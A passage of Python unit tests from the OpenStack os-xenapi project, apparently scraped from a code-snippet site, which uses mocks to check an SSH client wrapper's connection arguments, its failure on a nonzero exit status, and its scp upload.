        sshclient.SSHClient('ip', 'username', 'password')

        mock_conn.assert_called_with(
            'ip', username='username', password='password', pkey=None,
            key_filename=None, look_for_keys=False, allow_agent=False)
项目:os-xenapi    作者:openstack    | 项目源码 | 文件源码
def test_ssh_except(self, mock_exec, mock_conn, mock_set):
        mock_log = mock.Mock()
        mock_channel = mock.Mock()
        mock_exec.return_value = (fake_channel_file(['input']),
                                  fake_channel_file(['info'], mock_channel),
                                  fake_channel_file(['err']))
        mock_channel.recv_exit_status.return_value = -1

        client = sshclient.SSHClient('ip', 'username', password='password',
                                     log=mock_log)
        self.assertRaises(sshclient.SshExecCmdFailure, client.ssh,
                          'fake_command', output=True)
项目:os-xenapi    作者:openstack    | 项目源码 | 文件源码
def test_scp(self, mock_open, mock_conn, mock_set):
        mock_log = mock.Mock()
        mock_sftp = mock.Mock()
        mock_open.return_value = mock_sftp

        client = sshclient.SSHClient('ip', 'username', password='password',
                                     log=mock_log)
        client.scp('source_file', 'dest_file')

        mock_log.info.assert_called()
        mock_sftp.put.assert_called_with('source_file', 'dest_file')